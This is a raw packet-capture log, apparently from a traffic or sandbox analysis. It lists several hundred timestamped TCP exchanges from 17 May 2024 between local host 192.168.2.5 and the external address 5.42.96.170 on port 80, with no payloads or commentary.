May 17, 2024 23:45:16.392348051 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392352104 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392379999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392411947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392442942 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392445087 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392494917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392528057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392560959 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392592907 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392627954 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392659903 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392692089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392708063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392708063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392708063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392708063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392708063 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392728090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392761946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392796040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392827988 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392863035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392894983 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392920971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392920971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392920971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.392927885 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392960072 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.392992973 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393026114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393060923 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393093109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393125057 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393167019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393167019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393167019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393167019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393167019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393173933 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393205881 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393239021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393270969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393302917 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393335104 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393358946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393358946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393358946 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393367052 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393389940 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393402100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393433094 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393465996 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393486977 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393498898 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393517971 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393532038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393564939 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393596888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393629074 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393661976 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393693924 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393727064 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393759012 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393769026 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393769026 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393769026 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393769026 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393769026 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393793106 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393842936 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393876076 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393908024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393933058 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393934011 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393940926 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.393946886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.393990040 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394021988 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394053936 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394087076 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394121885 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394154072 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394182920 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394217014 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394248962 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394259930 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394259930 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394259930 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394259930 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394259930 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394282103 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394314051 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394345999 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394378901 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394409895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394443035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394469023 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394469023 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394469023 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394475937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394484043 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394507885 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394541979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394563913 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394573927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394594908 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394608021 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394658089 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394689083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394725084 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394757032 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394790888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394824028 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394834995 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394834995 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394834995 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394834995 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394834995 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.394857883 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394890070 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394922972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.394972086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395004988 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395015001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395015001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395015001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395015001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395015001 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395037889 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395061016 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395071030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395103931 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395158052 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395205975 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395239115 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395250082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395250082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395250082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395250082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395250082 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395272017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395304918 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395317078 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395317078 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395338058 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395370960 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395402908 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395436049 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395468950 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395479918 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395479918 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395479918 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395479918 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395479918 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395502090 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395524979 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395534039 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395554066 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395569086 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395601034 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395633936 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395654917 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395654917 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395654917 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395668030 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395688057 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395699978 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395733118 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395766020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395786047 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395786047 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395786047 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.395800114 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395833015 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395864964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395898104 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395930052 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395962000 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.395997047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396006107 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396006107 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396006107 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396006107 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396006107 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396029949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396061897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396094084 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396117926 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396140099 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396157980 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396189928 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396235943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396284103 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396284103 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396286964 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396318913 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396353006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396384001 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396409035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396409035 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396416903 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396466017 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396505117 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396553993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396586895 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396621943 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396646976 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396646976 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396646976 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396653891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396673918 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396686077 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396718979 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396750927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396779060 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396779060 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396784067 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396816969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396850109 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396872044 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396883011 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396894932 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.396914959 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396946907 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.396980047 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397012949 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397044897 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397077084 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397109985 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397141933 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397154093 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397154093 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397154093 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397154093 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397154093 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397175074 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397217035 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397232056 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397252083 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397289038 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397320986 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397353888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397384882 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397418022 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397449970 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397481918 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397492886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397492886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397492886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397492886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397492886 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397515059 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397542953 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397573948 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397608042 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397639990 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397671938 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397691965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397691965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397691965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397691965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397691965 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397706032 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397756100 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397779942 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397792101 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397794008 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397829056 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.397847891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397876024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397907972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397943020 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.397975922 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398006916 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398039103 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398072004 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398103952 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398116112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398116112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398116112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398116112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398116112 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398137093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398169041 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398201942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398233891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398242950 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398242950 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398267031 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398299932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398330927 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398345947 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398360014 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398375034 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398391008 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398406029 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398416996 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398416996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398416996 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398417950 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398417950 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398417950 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398427010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398427010 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398437023 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398444891 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398454905 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398467064 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398475885 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398485899 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398494959 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398504019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398504019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398504019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398504019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398504019 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398504972 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398519993 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398530006 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398539066 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398547888 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398559093 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398567915 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398577929 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398587942 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398598909 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398600101 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398600101 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398600101 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398600101 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398600101 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398607969 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398618937 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398627996 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398638010 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398648024 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398657084 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398667097 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398677111 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398679018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398679018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398679018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398679018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398679018 CEST	49707	80	192.168.2.5	5.42.96.170
May 17, 2024 23:45:16.398685932 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398695946 CEST	80	49707	5.42.96.170	192.168.2.5
May 17, 2024 23:45:16.398705006 CEST	80	49707	5.42.96.170	192.168.2.5
